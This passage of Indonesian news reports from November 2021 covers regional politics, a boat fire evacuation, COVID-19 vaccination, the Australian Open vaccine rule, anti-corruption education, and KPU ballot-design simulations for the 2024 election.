Kemudian Ambona diambil dari nama Raja ketiga Muna, Sugi Ambona, ayahnya yang berasal dari bahasa Bugis Makassar. Ini kaitannya dengan Ketua DPD RI yang dari Bugis. Lalu Wawoangi berasal dari bahasa Muna dan Buton berarti Timur. Dalam hakekatnya sebagai Nusantara, beliau mewakili Indonesia timur," paparnya Anugerah gelar ini hakekatnya juga merupakan bentuk ikatan kekeluargaan antara Muna dan Bugis-Makassar. Hubungan kekeluargaan itu sudah terjalin sejak dulu. Hal ini ditandai keberadaan Saweri Gading dan Sugi Ambona, Raja Muna dahulu. "Semoga sampai nanti kekerabatan dan kekeluargaan terus berlangsung," sambungnya. Ketua DPD RI hadir bersama senator Andi Muh. Ihsan (Sulsel), Andi Nirwana, Wa Ode Rabia Al Adawiya dan Amirul Tamim (Sultra), Fachrul Razi (Aceh), Sekjen DPD RI Rahman Hadi dan Staf Khusus Ketua DPD RI Sefdin Syaifudin. Hadir juga dalam acara itu Bupati Muna La Ode Rusman Emba, Forkopimda Kabupaten Muna, Lembaga Adat Muna, seluruh Camat, Kepala Desa dan Lurah. Sedangkan Bupati Muna La Ode Rusman Emba menjelaskan kehadiran Ketua DPD RI merupakan berkah tersendiri bagi Kabupaten Muna. "Kami berterima kasih Ketua DPD RI dan anggota DPD datang ke Muna. Kami memang merindukan figur-figur pemimpin bangsa untuk mengenal dan melihat Muna lebih jauh dengan segala potensinya," kata Bupati. Ditambahkannya, apresiasi besar juga diberikan kepada Ketua DPD RI yang sangat berkomitmen besar dalam memperjuangkan kesejahteraan daerah. Termasuk sektor budaya. "Bersyukur Ketua DPD RI yang juga didaulat oleh kerajaan dan Kesultanan Nusantara sebagai Datuk Yang Di-Pertuan Junjungan Negeri, dengan semangat dalam keterlibatan dan konsennya secara khusus terhadap budaya yakni eksistensi Kerajaan dan Kesultanan Nusantara, kami yakin keberadaan budaya dan tradisi Nusantara akan semakin lestari. Juga akan diperhitungkan dalam pembangunan bangsa," jelasnya. Sejauh ini, menurut Bupati, pemerintah pusat sudah memberikan banyak kepada daerah, namun masih belum maksimal. "Di sini masih perlu banyak penanganan dari Pusat. Makanya kita berharap aspirasi daerah Muna agar diperjuangkan oleh Ketua DPD RI," jelasnya. Terkait keberadaan kerajaan dan kesultanan Nusantara, Ketua DPD RI AA LaNyalla Mahmud Mattalitti, menyatakan akan memperjuangkan aspirasi dan amanat para Raja dan Sultan Nusantara dalam Deklarasi Sumedang. "Karena ada tiga penting perlunya keterlibatan aktif pemerintah dalam hal ini. Yaitu menyangkut revitalisasi Kerajaan dan Kesultanan Nusantara. Kemudian keterlibatan kementerian dan lembaga dalam penguatan budaya Nusantara. Selain itu perlunya pemerintah daerah, baik provinsi maupun kabupaten/kota untuk melibatkan Kerajaan dan Kesultanan Nusantara dalam penyusunan rencana pembangunan daerah," katanya.(RAN)

Tim Gabungan Evakuasi 15 ABK KM Sabang Yang Terbakar

Belitung, Babel, FNN - Tim gabungan dari Direktorat Polairud Polda Bangka Belitung, Satpolair Polres Belitung, TNI AL dan Kantor Kesehatan Pelabuhan (KKP) Pangkal Pinang Wilayah kerja Tanjungpandan mengevakuasi sebanyak 15 anak buah kapal (ABK) KM Sabang yang terbakar di Perairan Selat Nasik, Belitung, Sabtu, 20 November 2021, pagi. "Total ada 15 orang dalam kapal, dua mengalami luka bakar dan 13 lainnya berhasil selamat," kata Kasatpolairud Polres Belitung, AKP M. Syarifudin Ginting di Tanjung Pandan, Sabtu siang. Ia mengatakan, KM Sabang mengalami musibah kebakaran di perairan Pulau Mendanau, Selat Nasik, Belitung atau berjarak sekitar 15 mil laut dari pesisir Tanjung Pandan, ketika sedang mencari ikan. "KM Sabang merupakan kapal penangkap ikan yang berasal dari luar Pulau Belitung," ujarnya, sebagaimana dikutip dari Antara. Menurut dia, peristiwa kebakaran tersebut diduga disebabkan oleh percikan api yang berasal dari kamar mesin utama kapal. "Sehingga dua ABK mengalami luka bakar serius akibat terkena semburan api dari kamar mesin kapal dan sudah dilarikan ke rumah sakit untuk mendapatkan pengobatan dan perawatan," katanya. Dia menambahkan, saat ini 15 orang ABK tersebut telah berhasil dievakuasi sedangkan posisi kapal masih berada di tengah lautan karena kondisi mesin kapal dalam keadaan rusak. "Setelah evakuasi nanti kami barulah akan memintai keterangan kepada para ABK mengenai peristiwa yang terjadi," ujar dia. (MD).

Menko Polhukam: Kedudukan MUI Kokoh, Tak Mudah Dibubarkan

Jakarta, FNN - Menteri Koordinator bidang Politik, Hukum, dan Keamanan (Menko Polhukam) Mahfud MD menyatakan, kekuatan hukum Majelis Ulama Indonesia (MUI) sangat kokoh. Sehingga, wacana pembubaran lembaga ini tak realistis dan sulit terwujud. "Merespon penangkapan tiga terduga teroris yang melibatkan oknum MUI, jangan berpikir bahwa MUI perlu dibubarkan. Itu semua provokasi yang bersumber dari khayalan, buka dari pemahaman atas petistiwa," kicau Mahfud MD melalui akun Twitter-nya @mohmahfudmd, Sabtu (20/11). Kedudukan MUI, lanjut mantan Ketua Mahkamah Konstitusi (MK) ini, sangat kokoh. Karena sudah disebut di dalam beberapa peraturan perundang-undangan. Misalnya di dalam Undang-undang (UU) Nomor 33 Thn 2014 tentang Jaminan Produk Halal (Pasal 1.7 dan Psl 7.c). Juga di Pasar 32 (2) UU Nomor 21 Tahun 2008 tentang Perbankan Syariah. "Posisi MUI kuat tak bisa sembarangan dibubarkan," ingatnya. Selain posisi hukum MUI, Mahfud juga mengingatkan, publik siapapun jangan memprovokasi dengan memgatakan bahwa pemerintah via Densus 88 Antiteror menyerang MUI. "Pun penangkapan oknum MUI sebagai terduga teroris janhan diartikan aparat menyerang wibawa MUI," imbaunya. Kata Mahfud, teroris bisa ditangkap di manapun. Baik di hutan, mall, rumah, gereja, masjid, dan tempat lainnya. "Kalau aparat diam dan terjadi sesuatu, nanti dituding kecolongan. Semuanya akan ada proses hukum dan pembuktian secara terbuka," pungkasnya. Sebelumnya, Detasemen Khusus (Densus) 88 Antiteror Polri menangkap tiga terduga teroris di sejumlah wilayah di Kota Bekasi, Jawa Batat, Selasa (16/11). Salah satunya adalah anggota Komisi Fatwa MUI Ahmad Zain An-Najah yang disebut berperan dalam Jamaah Islamiyah. Usai penangkapan ini, isu pembubaran MUI pun mengemuka. Lembaga ini dituding sebagai sarang teroris. Sebelumnya, MUI menegaskan, penangkapan Ahmad Zain An-Najah tak ada kaitannya dengan lembaga ini. MUI juga langsung menonaktifkan status kepengurusan Ahmad Zain. "Dugaan keterlibatan yang bersangkutan dalam gerakan jaringan terorisme merupakan urusan pribadi dan tidak ada sangkut pautnya dengan MUI," demikian keterangan dari MUI yang ditandatangani oleh Ketua Umum MUI KH. Miftachul Akhyar dan Sekjen Amirsyah Tambunan. Sementara Wakil Menteri Agama (Wamenag) KH. Zainut Tauhid Sa’adi menyatakan, isu pembubaran Majelis Ulama Indonesia (MUI) amat berlebihan. "Saya kira hal itu terlalu berlebihan. Ibarat rumah ada tikusnya, masak rumahnya mau dibakar," tutur Zainut. (*)

148.455 Warga Manggarai Barat Terima Vaksin COVID-19 Dosis Satu

Labuan Bajo, FNN - Sebanyak 148.455 warga Manggarai Barat, Nusa Tenggara Timur telah menerima vaksin COVID-19 dosis satu dari target sasaran vaksinasi 202.827 jiwa. "Sekarang persentase penerima dosis satu sudah naik menjadi 73,2 persen di pertengahan November 2021 ini," kata Wakil Bupati (Wabup) Manggarai Barat Yulianus Weng di Labuan Bajo, Sabtu. Wabup Weng mengapresiasi jumlah penerima vaksin yang meningkat dan capaian vaksin yang telah melebihi target awal. Sebelumnya pemerintah daerah menargetkan capaian vaksinasi sebesar 70 persen di akhir bulan November 2021 mendatang. Namun, angka tersebut telah terlampaui pada pertengahan November. Berdasarkan data Dinas Kesehatan Manggarai Barat per 18 November 2021, dosis kedua vaksinasi COVID-19 telah menyasar 68.490 jiwa dari target 148.455 jiwa atau sebesar 33,8 persen. Sementara itu dosis tiga yang disebut vaksin booster bagi 2.080 tenaga kesehatan di Manggarai Barat baru terealisasi kepada 1.506 tenaga kesehatan atau sebesar 72,4 persen. Wabup Weng mengaku percepatan vaksinasi terus digenjot di daerah pariwisata tersebut guna memberi rasa aman kepada masyarakat dan wisatawan. Semakin banyak warga Manggarai Barat yang telah menerima vaksin juga merupakan kerja keras dan kerja sama berbagai pihak baik pemerintah maupun swasta dalam pemenuhan ketersediaan stok vaksin. Selain itu, pemerintah juga melakukan 'jemput bola' di titik sentral warga, seperti sekolah, gereja, dan puskesmas untuk mendekatkan diri dengan sasaran penerima vaksinasi. Hal yang juga tak kalah penting ialah adanya surat instruksi bupati yang berisikan sanksi administrasi bagi sasaran penerima vaksin yang menolak divaksin bukan karena alasan medis. Dengan meningkatnya angka warga yang telah divaksin, Wabup Weng berharap kekebalan kelompok (herd immunity) di kota super prioritas ini bisa terwujud. "Meski demikian, masyarakat harus tetap taat pada protokol kesehatan agar kasus COVID-19 di Manggarai Barat tidak naik lagi," tutup Wabup Weng. Adapun target sasaran vaksinasi di Manggarai Barat sendiri terdiri dari tenaga kesehatan, petugas pelayanan publik, lansia, masyarakat rentan, remaja, dan masyarakat umum. (sws)

Penyelenggara Australian Open Wajibkan Semua Pemain untuk Divaksin

Jakarta, FNN - CEO Tennis Australia, Craig Tiley, mengatakan bahwa petenis nomor satu dunia Novak Djokovic dan semua pemain lainnya harus divaksin COVID-19 untuk dapat bertanding di Australian Open yang akan digelar pada Januari mendatang. Djokovic menolak untuk mengungkapkan apakah dia telah divaksin dan mengatakan bahwa dia akan menunggu sampai badan pengelola olahraga tenis di Australia, Tennis Australia, mengungkapkan protokol kesehatan yang diperlukan sebelum dia membuat keputusan untuk bermain di Melbourne Park. "Ada banyak spekulasi tentang vaksinasi dan menjadi sangat jelas, ketika Perdana Menteri (negara bagian) mengumumkan bahwa semua orang di lokasi... perlu divaksinasi... kami menjelaskannya kepada pemain," kata Tiley dalam acara konferensi pers turnamen tersebut, dikutip dari Reuters, Sabtu. "(Novak) telah mengatakan bahwa dia memandang ini sebagai masalah pribadi baginya. Kami senang melihat Novak di sini, dia tahu bahwa dia harus divaksinasi untuk bermain di sini." Pengumuman tersebut merupakan kesimpulan dari berbulan-bulan negosiasi antara Tennis Australia dan pemerintah negara bagian Victoria, yang bersikeras bahwa semua orang di Melbourne Park perlu divaksin. Perdana Menteri Australia Scott Morrison telah membuka kesempatan bagi pemain yang tidak divaksin dengan mengatakan bahwa mereka akan diizinkan masuk ke negara tersebut jika mereka menjalani karantina 14 hari, namun negara bagian Victoria mengajukan pengecualian. Perdana Menteri negara bagian Victoria, Daniel Andrews, dengan cepat menjelaskan bahwa tidak ada pengecualian untuk pemain yang tidak divaksin. Djokovic, yang memegang rekor 20 gelar tunggal putra Grand Slam sama seperti Rafa Nadal dan Roger Federer, akan berusaha memecahkan rekor tersebut memenangi gelar Australian Open ke-10 jika dia memutuskan untuk bermain pada Januari. Nadal menegaskan dia akan bermain di Melbourne Park tetapi Federer, yang seperti petenis Spanyol tersebut telah divaksin penuh, akan absen dalam turnamen tersebut karena belum pulih dari operasi lututnya. Tiley mengatakan sekitar 80 persen dari kohort pemain sekarang telah divaksin dan akan bermain di hadapan penonton turnamen Grand Slam yang akan dimulai pada 17 Januari. Hal itu kontras dengan penyelenggaraan turnamen tersebut tahun lalu, yang digelar tanpa penonton dan tribun kosong hanya diisi oleh para pemain yang hampir semuanya telah menjalani karantina hotel. Tiley mengkonfirmasi beberapa lapangan tunggal putri akan diisi oleh sejumlah nama, termasuk Serena Williams, yang bisa saja menyamai rekor 24 gelar Grand Slam Margaret Court dengan kemenangan kedelapan di Melbourne Park. Tiley menambahkan, Naomi Osaka, yang tidak bermain sejak US Open, juga telah mengkonfirmasi bahwa dia akan berada di Melbourne bersama petenis nomor satu dunia Ash Barty, juara US Open Emma Raducanu dan Leylah Fernandez juga akan hadir di lapangan. Menteri olahraga negara bagian Victoria Martin Pakula juga mengumumkan bahwa Melbourne Park akan menjadi tuan rumah Australian Open hingga 2044 di bawah kesepakatan baru yang dinegosiasikan dengan Tennis Australia. (sws)

Ketua KPK: Penting Tanamkan Nilai-Nilai Antikorupsi Sejak Dini

Jakarta, FNN - Ketua Komisi Pemberantasan Korupsi (KPK) Firli Bahuri mengatakan bahwa nilai-nilai antikorupsi penting untuk ditanamkan pada anak-anak sejak dini. "Wajib bagi anak-anak untuk senantiasa menumbuhkan nilai-nilai antikorupsi dalam dirinya agar mereka dapat memandang lebih jauh bahwa korupsi adalah hal terhina, aib, dan tercela, bukan budaya apalagi kultur warisan leluhur bangsa," kata Firli dalam keterangannya di Jakarta, Sabtu, memperingati Hari Anak Sedunia yang jatuh setiap 20 November. Firli mengatakan muara dari persoalan korupsi di negeri ini akibat hilangnya nilai-nilai antikorupsi, yaitu jujur, berintegritas, peduli, mandiri, disiplin, tanggung jawab, kerja keras, sederhana, berani, dan adil dari dalam diri sehingga siapa pun yang kehilangan nilai-nilai tersebut akan terpapar virus korupsi. "Nilai-nilai antikorupsi seyogianya kita semaikan kedalam hati sanubari serta pikiran anak-anak Indonesia sedini mungkin untuk menumbuhkan budaya antikorupsi dalam diri mereka agar negeri memiliki generasi penerus bangsa yang memiliki karakter kuat, berintegritas, cerdas, berperilaku jujur, adil, sederhana, memiliki moral, dan etika yang baik," tuturnya. Hanya dengan menanamkan nilai-nilai antikorupsi, kata dia, generasi bangsa ini dapat terlepas dari pengaruh buruk korupsi dan perilaku koruptif yang telah berurat akar di republik ini. KPK memandang jalur pendidikan sangat penting, menjadi urat nadi, dan elemen vital dalam upaya membangun karakter serta integritas anak bangsa agar ruh antikorupsi senantiasa bersemayam dan bergelora di jiwa raga anak-anak Indonesia. "Atas dasar itulah, KPK memasukkan pendidikan sebagai salah satu "national interest" dalam Rencana Strategi Tahun 2019-2024 dan "Road Map" KPK 2022-2045," ucap Firli. KPK menempatkan pendidikan sebagai bagian utama dalam trisula pemberantasan korupsi yang menjadi "core business" KPK. Ia menjelaskan dengan menggunakan jejaring pendidikan formal maupun nonformal mulai dari taman kanak-kanak hingga perguruan tinggi, KPK telah memasukkan unsur dan nilai-nilai pendidikan antikorupsi kepada generasi penerus bangsa sejak dini, remaja hingga dewasa untuk membentuk sekaligus menjaga karakter serta integritas setiap anak bangsa agar tidak terpengaruh perilaku koruptif. Selain itu, kata Firli, keluarga memiliki peran penting dalam proses pembentukan jati diri anak-anak untuk membentuk klaster-klaster antikorupsi. "Dimulai dari sebuah keluargalah, ruh antikorupsi yang senantiasa menyiratkan nilai-nilai kejujuran, kesederhanaan, moral, dan etika, kita hembuskan ke penjuru kalbu setiap individu, khususnya anak-anak untuk membentuk karakter keluarga antikorupsi," katanya. Menurutnya, keluarga sebagai bagian dari basis masyarakat adalah sasaran inti gerakan perubahan sosial budaya masyarakat Indonesia agar tak lagi melihat korupsi sebagai budaya apalagi menjadi kebiasaan dalam setiap tatanan kehidupan di republik ini. KPK memandang bahwa keluarga antikorupsi dapat memengaruhi individu, keluarga lainnya, dan memiliki peran sentral membangun budaya antikorupsi dalam masyarakat. "Kembali kami ingatkan, menangkap koruptor adalah tugas KPK dan aparatur penegak hukum lainnya, namun mencegah korupsi sedini mungkin dengan menanamkan pendidikan antikorupsi untuk melindungi masa depan anak-anak generasi penerus bangsa dari pengaruh korupsi dan perilaku koruptif adalah kewajiban mulia seluruh bangsa dan rakyat Indonesia," kata Firli. (sws)

Ketua Umum Bhayangkari Apresiasi Bripka Nur Ali Kelola Rumah Singgah

Jakarta, FNN - Ketua Umum Bhayangkari Juliati Sigit Prabowo mengapresiasi Bripka Nur Ali Suwandhi, anggota Bidang Propam Polda D.I. Yogyakarta yang mengelola Yayasan Rumah Singgah Bumi Damai Yogyakarta. "Apa yang dilakukan oleh Bripka Nur Ali sangat menginspirasi dan dapat dijadikan contoh bagi seluruh personel kepolisian yang ada," kata Juliati dikutip dari siaran pers di Jakarta, Sabtu. Menurut Juliati, yayasan yang dikelola personel kepolisian itu sebagai wujud pengabdian terhadap masyarakat. Bripka Nur Ali merupakan salah satu personel kepolisian yang telah diberikan penghargaan oleh Kapolri Jenderal Listyo Sigit Prabowo berupa tiket sekolah perwira. Penghargaan tersebut diberikan lantaran prestasi dari Nur Ali, di antaranya telah membangun 13 masjid di Yogyakarta, membangun tiga sekolah gratis, dan melakukan pembinaan terhadap pemulung. Juliati bersama Ketua Bhayangkari Daerah Istimewa Yogyakarta (DIY), Jumat (19/11), menggelar bakti sosial Bhayangkari Peduli di Yayasan Rumah Singgah Bumi Damai Yogyakarta yang mengasuh 190 anak yatim piatu dan anak-anak yang orang tuanya tidak mampu. Juliati berharap bakti sosial ini bisa meringankan beban yayasan di tengah pandemi COVID-19 dan mengembalikan keceriaan anak-anak tersebut. "Kegiatan dilaksanakan dengan tetap mematuhi protokol kesehatan COVID-19 yang telah ditetapkan pemerintah," ucap Juliati. Selain ke Yayasan Rumah Singgah Bumi Damai, bantuan juga diserahkan secara simbolis kepada Relawan Sosial Yogyakarta, Parisadha Hindu Dharma Indonesia DIY, Yayasan Realino Seksi Pengabdian Masyarakat, dan Gereja Bethel Indonesia Teleios DIY. (sws)

Personel Polda Kalimantan Barat Kawal Kedatangan Vaksin

Pontianak, FNN - Memasuki hari ke lima pelaksanaan Operasi Zebra Kapuas 2021, personel Direktorat Lalu-lintas Polda Kalimantan Barat mengawal vaksin Sinovac dari Bandara Supadio ke gudang penyimpanan Dinas Kesehatan Provinsi Kalimantan Barat. Direktur Lalu-lintas Polda Kalimantan Barat, Komisaris Besar Polisi Agus Dwi Hermawan, di Pontianak, Sabtu, mengatakan, pengawalan vaksin Sinovac itu mereka lakukan bersama Satuan Brigade Mobil Polda Kalimantan Barat. "Vaksin diangkut dari Bandara Supadio menggunakan satu unit mobil boks, kemudian kami kawal dengan satu unit mobil kawal kami serta dijaga personil Brimob dengan menggunakan satu unit mobil Gegana menuju gudang penyimpanan Dinas Kesehatan Provinsi Kalimantan Barat," ujarnya. Operasi Zebra Kapuas 2021 yang digelar dalam situasi pandemi ini mengharuskan semua pihak untuk peduli kepada sesama. "Hari ini kita juga melaksanakan bakti sosial pembagian paket sembako ke Sekolah Qur'an Karya Ilahi di Jalan Apel," katanya. Menurut dia, Operasi Zebra Kapuas 2021 ini juga demi terwujudnya keamanan, keselamatan ketertiban, dan kelancaran lalu-lintas menjelang perayaan Natal dan Tahun Baru di Kalimantan Barat, dan diharapkan dapat mendukung program percepatan vaksinasi nasional serta membantu meringankan beban masyarakat di tengah situasi pandemi Covid-19 di Kalimantan Barat. Dia menjelaskan, Operasi Zebra Kapuas 2021 ini dilaksanakan selama dua pekan, yakni mulai 15 hingga 28 November 2021. "Tujuan Operasi Zebra Kapuas 2021 yaitu meningkatkan disiplin masyarakat di jalan raya, kemudian meminimalisasi pelanggaran dan kecelakaan lalu-lintas, menurunkan fatalitas korban kecelakaan lalu-lintas, meningkatkan kepercayaan masyarakat terhadap polisi dengan terbentuknya opini positif dan citra tertib dalam berlalulintas," katanya. (sws)

Bawaslu Apresiasi Simulasi Pemungutan Suara Penyederhanaan Surat Suara

Jakarta, FNN - Badan Pengawas Pemilihan Umum (Bawaslu) RI mengapresiasi pelaksanaan simulasi pemungutan dan penghitungan suara pada penyederhanaan desain surat suara dan formulir yang dilakukan KPU RI di KPU Sulawesi Utara, Sabtu, untuk mempermudah pelaksanaan Pemilu 2024. “Bawaslu tentu mengapresiasi atas kegiatan yang diinisiasi KPU RI,” kata Ketua Bawaslu Abhan. Apresiasi itu ia sampaikan saat memberikan sambutan dalam kegiatan “Simulasi Pemungutan dan Penghitungan Suara pada Penyederhanaan Desain Surat Suara serta Formulir Pemilu Tahun 2024” yang dilaksanakan secara langsung di KPU Sulawesi Utara dan disiarkan dalam kanal YouTube KPU RI, dipantau dari Jakarta, Sabtu. Simulasi, lanjut Abhan, merupakan bagian terpenting bagi penyelenggara dalam mempersiapkan pelaksanaan Pemilu 2024 karena kompleksitas persoalan pesta demokrasi itu memang berada pada hari pemungutan dan penghitung suara. “Dari simulasi ini, kita bisa mengambil plus dan minusnya, bagaimana nantinya menyempurnakan pelaksanaan pemungutan dan penghitungan suara,” jelas Abhan. Sebelumnya, pemungutan suara dilakukan melalui 5 surat suara pada Pemilu 2019. Namun dalam praktiknya, jumlah surat suara itu membuat petugas mengalami kesulitan dalam proses menghitung. Untuk itu menjelang Pemilu 2024, KPU menyederhanakan desain surat suara menjadi dua pilihan sebagaimana yang sebelumnya dijelaskan oleh Kepala Biro Teknis Penyelenggaraan Pemilu KPU RI Melgia C Van Harling saat menyampaikan laporan dan tata cara teknis simulasi tersebut. Dalam simulasi pemungutan suara yang dilaksanakan itu disediakan 2 tempat pemungutan suara (TPS). Di TPS pertama, ada 3 jenis surat suara. Pertama terdiri atas peserta Pemilu Presiden dan Wakil Presiden serta Pemilu Anggota DPR RI. Surat suara kedua berisi peserta Pemilu Anggota DPD RI dan surat suara ketiga terdiri atas peserta Pemilu Anggota DPRD Provinsi dan DPRD Kabupaten/Kota. Sementara di TPS kedua, ada 2 jenis surat suara. Surat suara pertama terdiri atas peserta Pemilu Presiden dan Wakil Presiden, anggota DPR RI, DPRD Provinsi, dan DPRD Kabupaten/Kota. Surat suara kedua terdiri dari peserta Pemilu Anggota DPD RI. Para responden akan mencoblos di masing-masing TPS, kemudian memberikan pendapat dan saran dengan mengisi kuesioner serta survei yang telah disediakan panitia. Dengan demikian, Abhan berharap simulasi yang dilakukan dapat memberikan formulasi surat suara dan formulir Pemilu 2024 yang paling efektif. “Mudah-mudahan dengan simulasi pemungutan suara pada penyederhanaan desain surat suara dan formulir ini, nanti akan bisa ditemukan serta diformulasikan surat suara dan formulir paling efektif,” harap Abhan. (sws)

KPU: Penyederhanaan Desain Surat Suara Upaya Permudah Pemilu 2024

Jakarta, FNN - Ketua KPU RI Ilham Saputra mengatakan penyederhanaan desain surat suara merupakan wujud ikhtiar atau upaya KPU untuk mempermudah pelaksanaan Pemilu 2024 setelah mengevaluasi penyelenggaraan Pemilu 2019. “Ini ikhtiar kami bagaimana mempermudah pelaksanaan pemungutan suara dan penghitungan suara,” kata Ilham Saputra. Hal itu ia sampaikan saat membuka kegiatan “Simulasi Pemungutan dan Penghitungan Suara pada Penyederhanaan Desain Surat Suara serta Formulir Pemilu Tahun 2024” yang dilaksanakan secara langsung di KPU Sulawesi Utara dan disiarkan dalam kanal YouTube KPU RI, dipantau dari Jakarta, Sabtu. Pada pelaksanaan Pemilu 2019, lanjutnya, keberadaan 5 surat suara membuat banyak staf penyelenggara merasa kesulitan saat menghitung dan mengisi formulir cek hasil. Tidak sampai di sana, pemilih pun mengalami kesulitan dalam memastikan mereka telah memilih secara tepat dan benar sesuai dengan ketentuan yang diberlakukan KPU. Dengan demikian, katanya, kebijakan penyederhanaan desain surat suara ini diharapkan dapat membenahi penyelenggaraan Pemilu 2024 sehingga menjadi lebih baik. Ilham Saputra mengatakan proses simulasi sebelumnya telah dilakukan secara internal oleh KPU RI. Ia menjelaskan penyederhanaan desain surat suara telah melalui proses riset, penyelenggaraan forum diskusi, dan masukan dari pihak-pihak ahli sehingga diperoleh sistem dan mekanisme pemungutan suara yang lebih baik. Meskipun begitu, katanya, ada konsekuensi logis dan politis yang harus diterima KPU, yaitu konsekuensi adanya revisi undang-undang. “Tapi memang ada konsekuensinya. Konsekuensinya adalah jika menyederhanakan surat suara, maka ada revisi undang-undang,” kata Ilham Saputra. Namun, ia menegaskan bahwa KPU telah melakukan usaha terbaik dalam memudahkan penyelenggaraan Pemilu 2024. Ilham Saputra berharap seluruh responden dalam simulasi dapat terlibat secara aktif untuk memberikan masukan. “Saya berharap kepada bapak dan ibu yang telah hadir dalam acara hari ini, baik sebagai pemilih, penjaga TPS, maupun pemantau dalam simulasi hari ini untuk dapat terlibat aktif membantu kami, dapat memberikan mengevaluasi dan masukan agar kami dapat me-redesign kembali masukan-masukan dari bapak dan ibu,” imbau Ilham. (sws)

KPU: Simulasi Bertujuan Peroleh Saran Desain Surat Suara Pemilu 2024

Jakarta, FNN - Kepala Biro Teknis Penyelenggaraan Pemilu KPU RI Melgia C Van Harling mengatakan simulasi pemungutan dan penghitungan suara yang digelar di KPU Sulawesi Utara bertujuan memperoleh saran terkait desain surat suara dan formulir Pemilu 2024. “Tujuan dan maksud kegiatan ini adalah yang pertama untuk mendapatkan saran dan masukan terkait penyederhanaan desain surat suara dan formulir pada Pemilu 2024,” ujar Melgia C Van Harling. Hal itu ia sampaikan saat membacakan laporan dan penjelasan tata cara teknis pemberian dan penghitungan suara dalam kegiatan “Simulasi Pemungutan dan Penghitungan Suara pada Penyederhanaan Desain Surat Suara serta Formulir Pemilu Tahun 2024” yang dilaksanakan secara langsung di KPU Sulawesi Utara dan disiarkan dalam kanal YouTube KPU RI, dipantau dari Jakarta, Sabtu. Selain mendapatkan saran dan masukan, lanjut Melgia, tujuan kedua dilaksanakannya simulasi yang tetap menerapkan protokol kesehatan secara ketat di sepanjang acara tersebut ditujukan untuk memperoleh desain surat suara Pemilu 2024 yang sederhana dan memudahkan pemilih. Tujuan ketiga adalah memperoleh desain formulir cek hasil Pemilu 2024 yang efektif bagi peserta dan penyelenggara. Lalu yang keempat, terciptanya desain surat suara dan formulir cek hasil Pemilu 2024 yang terbaik. Melgia memaparkan simulasi yang diselenggarakan itu lebih ditekankan pada pemberian dan penghitungan suara dengan desain surat suara dan formulir yang telah disederhanakan. Jumlah responden atau pemilih yang mengikuti simulasi, tambahnya, mencapai 100 orang. Mereka terdiri atas unsur Bawaslu Sulawesi Utara, anggota KPU Kabupaten/Kota, Sekretariat KPU Provinsi/Kabupaten/Kota Sulawesi Utara, dosen, mahasiswa, awak media, dan lembaga swadaya masyarakat (LSM) penggiat pemilu setempat. Kemudian, ujar Melgia, masing-masing responden atau pemilih akan melakukan pemberian suara di 2 tempat pemungutan suara (TPS) dengan 2 model surat suara yang berbeda. Di TPS pertama, ada 3 jenis surat suara. Surat suara pertama terdiri atas peserta pemilu presiden dan wakil presiden serta pemilu anggota DPR RI. Surat suara kedua berisi peserta anggota DPD RI dan surat suara ketiga terdiri atas peserta anggota DPRD Provinsi dan DPRD Kabupaten/Kota. Sementara di TPS kedua, ada 2 jenis surat suara. Surat suara pertama terdiri atas peserta pemilu presiden serta wakil presiden, anggota DPR RI, DPRD Provinsi, dan DPRD Kabupaten/Kota. Surat suara kedua terdiri atas peserta anggota DPD RI. Terkait pencoblosan, katanya, responden dapat mencoblos dengan paku di antara nomor urut, nama, gambar partai politik pengusung, atau foto calon presiden. Pada surat suara DPR RI, pemilih dapat memilih untuk mencoblos satu kali di antara nomor atau tanda gambar partai, nomor urut, ataupun nama calon. Selanjutnya di surat suara DPD RI bisa dicoblos satu kali di antara tiga pilihan, yaitu pada nomor, nama, atau foto calon. Untuk surat suara DPRD Provinsi dan DPRD Kabupaten/Kota, dicoblos satu kali pada nomor, tanda gambar partai politik, nomor urut, atau nama calon. Setelah pencoblosan dilakukan, ujar dia, responden dapat melipat dan memasukkan surat suara kedalam kotak suara yang telah disediakan. Setelah itu, pendapat mereka dalam memberikan suara dengan 2 model surat suara berbeda di 2 TPS dapat dibagikan melalui pengisian kuesioner dan survei dari tim penyelenggara simulasi. (sws)

PKS Dukung Kesuksesan WSBK 2021 di Mandalika

Jakarta, FNN - Sekretaris Jenderal DPP PKS Habib Aboe Bakar Al Habsyi memberikan dukungan penyelenggaraan World Super Bike (WSBK) 2021 di Mandalika, Nusa Tenggara Barat, agar terlaksana dengan sukses dan memberi manfaat bagi masyarakat. "Saya sebagai Sekjen PKS sangat bangga atas penyelenggaraan WSBK di Mandalika krena perhelatan internasional itu berhasil terlaksana di bawah kepemimpinan Gubernur Zulkifliemansyah, salah satu kader terbaik PKS," katanyai dalam keterangannya di Jakarta, Sabtu. Hal itu dikatakan Habib Aboe Bakar Al Habsyi saat melakukan kunjungan kerja di Lombok, Nusa Tenggara Barat (NTB), Jumat (19/11). Dia mengaku selalu mengingatkan Gubernur NTB untuk terus menyukseskan penyelenggaraan WSBK di Mandalika karena terkait dengan nama baik bangsa Indonesia di dunia internasional. Menurut dia, PKS secara moral memberikan dukungan penuh untuk kesuksesan acara tersebut karena diharapkan dapat memberikan dampak positif bagi masyarakat di Lombok. "Tidak hanya sukses penyelenggaraan, sebagai pimpinan partai saya juga mengingatkan agar penyelenggaraan WSBK membawa dampak positif untuk masyarakat Lombok, baik langsung maupun tidak," ujarnya. Anggota Komisi III DPR RI itu menjelaskan dampak langsung seperti perputaran ekonomi di daerah itu selama penyelenggaraan WSBK. Hal itu, menurut dia, karena berbagai usaha masyarakat Lombok menjadi hidup kembali dan perputaran ekonomi kembali terasa setelah terdampak pandemi COVID-19 sekian lama. Ia menilai dampak tidak langsung penyelenggaraan WSBK Mandalika adalah citra positif Lombok sebagai destinasi wisata sehingga semakin dikenal dunia internasional. Dia mengatakan dampak tersebut menjadi investasi jangka panjang untuk pembangunan Lombok ke depan sehingga berdampak positif bagi perekonomian masyarakat lokal. (sws)

Merebut Kekuasaan Tuhan

